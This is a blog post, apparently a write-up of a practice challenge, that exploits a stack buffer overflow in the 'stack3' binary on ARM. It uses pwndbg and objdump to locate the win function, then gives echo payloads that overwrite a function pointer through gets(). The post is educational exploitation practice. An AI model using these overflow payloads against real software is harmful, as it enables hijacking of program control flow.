Smashing ARM Stack for Fun - Part IV
January 19, 2021
This time the goal is to make the program print the message "code flow successfully changed"
.
A manual xref
Let’s see where this message is stored:
pwndbg> search "code flow successfully changed"
stack3 0x10560 0x65646f63 /* 'code flow successfully changed'*/
stack3 0x20560 0x65646f63 /* 'code flow successfully changed'*/
And from where the executable makes a reference to it? In other words, where in the code segment this address is stored?
pwndbg> search -4 --executable 0x10560
stack3 0x10490 0x10560
stack3 0x10c6c 0x10560
stack3 0x20490 0x10560
To summarize the message (and array of chars) is stored at 0x10560 and the address 0x10560 is stored in 0x10490, 0x10c6c and 0x20490.
These addresses are the char*
that the program must load into a register to do a call to printf
or puts
.
Let’s assume that one of those addresses is loaded in a register using an instruction like this:
<???> ldr r?, [pc, #offset?]
It is a reasonable assumption: the rest of the challenges so far used this instruction.
We don’t know neither which register will be using nor the offset so we will have to guess.
Let’s see what we can find with objdump
and grep
:
pi@raspberrypi:~$ objdump -d stack3 | grep "ldr.*r[0-9], \[pc"
10374: e59f000c ldr r0, [pc, #12] ; 10388 <_start+0x34>
10378: e59f300c ldr r3, [pc, #12] ; 1038c <_start+0x38>
10390: e59f3014 ldr r3, [pc, #20] ; 103ac <call_weak_fn+0x1c>
10394: e59f2014 ldr r2, [pc, #20] ; 103b0 <call_weak_fn+0x20>
103b4: e59f301c ldr r3, [pc, #28] ; 103d8 <deregister_tm_clones+0x24>
103b8: e59f001c ldr r0, [pc, #28] ; 103dc <deregister_tm_clones+0x28>
103c8: e59f3010 ldr r3, [pc, #16] ; 103e0 <deregister_tm_clones+0x2c>
103e4: e59f1024 ldr r1, [pc, #36] ; 10410 <register_tm_clones+0x2c>
103e8: e59f0024 ldr r0, [pc, #36] ; 10414 <register_tm_clones+0x30>
10400: e59f3010 ldr r3, [pc, #16] ; 10418 <register_tm_clones+0x34>
10420: e59f4018 ldr r4, [pc, #24] ; 10440 <__do_global_dtors_aux+0x24>
10448: e59f0024 ldr r0, [pc, #36] ; 10474 <frame_dummy+0x30>
10460: e59f3010 ldr r3, [pc, #16] ; 10478 <frame_dummy+0x34>
10484: e59f0004 ldr r0, [pc, #4] ; 10490 <win+0x14>
104c8: e59f0018 ldr r0, [pc, #24] ; 104e8 <main+0x54>
104f4: e59f604c ldr r6, [pc, #76] ; 10548 <__libc_csu_init+0x5c>
104f8: e59f504c ldr r5, [pc, #76] ; 1054c <__libc_csu_init+0x60>
These two lines are interesting:
10484: e59f0004 ldr r0, [pc, #4] ; 10490 <win+0x14>
104c8: e59f0018 ldr r0, [pc, #24] ; 104e8 <main+0x54>
And the winner is 0x10484!
>>> 0x10484 + 0x4 + 0x8
0x10490
See how 0x10484 the address of the ldr
instruction plus the offset 0x4
plus 0x8 bytes yields an address (0x10490) that we found before, a char*
.
If we dereference it we will see the address of the message:
pwndbg> x/1wx 0x10490
0x10490 <win+20>: 0x00010560
pwndbg> x/1bs 0x00010560
0x10560: "code flow successfully changed"
So, our target is:
pwndbg> pdisass 0x10484-8
► 0x1047c <win> push {fp, lr}
0x10480 <win+4> add fp, sp, #4
0x10484 <win+8> ldr r0, [pc, #4]
0x10488 <win+12> bl #puts@plt <puts@plt>
0x1048c <win+16> pop {fp, pc}
A comment
This is not the only way to do it.
I could search for a puts
call that would be more likely to be the one that we are looking for:
pi@raspberrypi:~$ objdump -d stack3 | grep "puts"
00010324 <puts@plt>:
10488: ebffffa5 bl 10324 <puts@plt>
I could look which functions are available:
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x000102ec _init
0x0001030c printf@plt
0x00010318 gets@plt
0x00010324 puts@plt
<...>
0x0001047c win
0x00010494 main
<...>
I could use IDA or Radare2 or similar and do a xref
…
Or I could just read what is the goal from the challenge.
I preferred a longer path to explore more the commands of pwndbg
and stress a little more my brain.
Otherwise it wouldn’t be fun :)
Let’s jump
This is the main
function:
pwndbg> pdisass &main 9
► 0x10494 <main> push {fp, lr}
0x10498 <main+4> add fp, sp, #4
0x1049c <main+8> sub sp, sp, #0x50
0x104a0 <main+12> str r0, [fp, #-0x50]
0x104a4 <main+16> str r1, [fp, #-0x54]
0x104a8 <main+20> mov r3, #0
0x104ac <main+24> str r3, [fp, #-8]
0x104b0 <main+28> sub r3, fp, #0x48
0x104b4 <main+32> mov r0, r3
0x104b8 <main+36> bl #gets@plt <gets@plt>
0x104bc <main+40> ldr r3, [fp, #-8]
0x104c0 <main+44> cmp r3, #0
0x104c4 <main+48> beq #main+72 <main+72>
0x104c8 <main+52> ldr r0, [pc, #0x18]
0x104cc <main+56> ldr r1, [fp, #-8]
0x104d0 <main+60> bl #printf@plt <printf@plt>
0x104d4 <main+64> ldr r3, [fp, #-8]
0x104d8 <main+68> blx r3
So instead of a cookie like in the stack0 or stack1 we have the address of a function.
blx r3
is an unconditional jump to an absolute address (docs).
That’s why it works.
The address is initialized to zero but due to a stack overflow we can write an arbitrary address, in particular, the address of win
: 0x0001047c
pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7c\x04\x01\x00' | ./stack3
calling function pointer, jumping to 0x0001047c
code flow successfully changed
We could also jump to the middle of win
, to 0x00010484, and we will have the same result. The only problem is that the program will execute the epilogue of win
without having executed its prologue.
Does this ring some bells? This is the base of return oriented programming or ROP.
The result? pop {fp, pc}
will restore pc
to the next element in the stack which most likely will not be a valid address. Happy segfault!
pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\x04\x01\x00' | ./stack3
calling function pointer, jumping to 0x00010484
code flow successfully changed
Segmentation fault
Related tags: reversing, exploiting, ARM, iasm, azeria-labs, objdump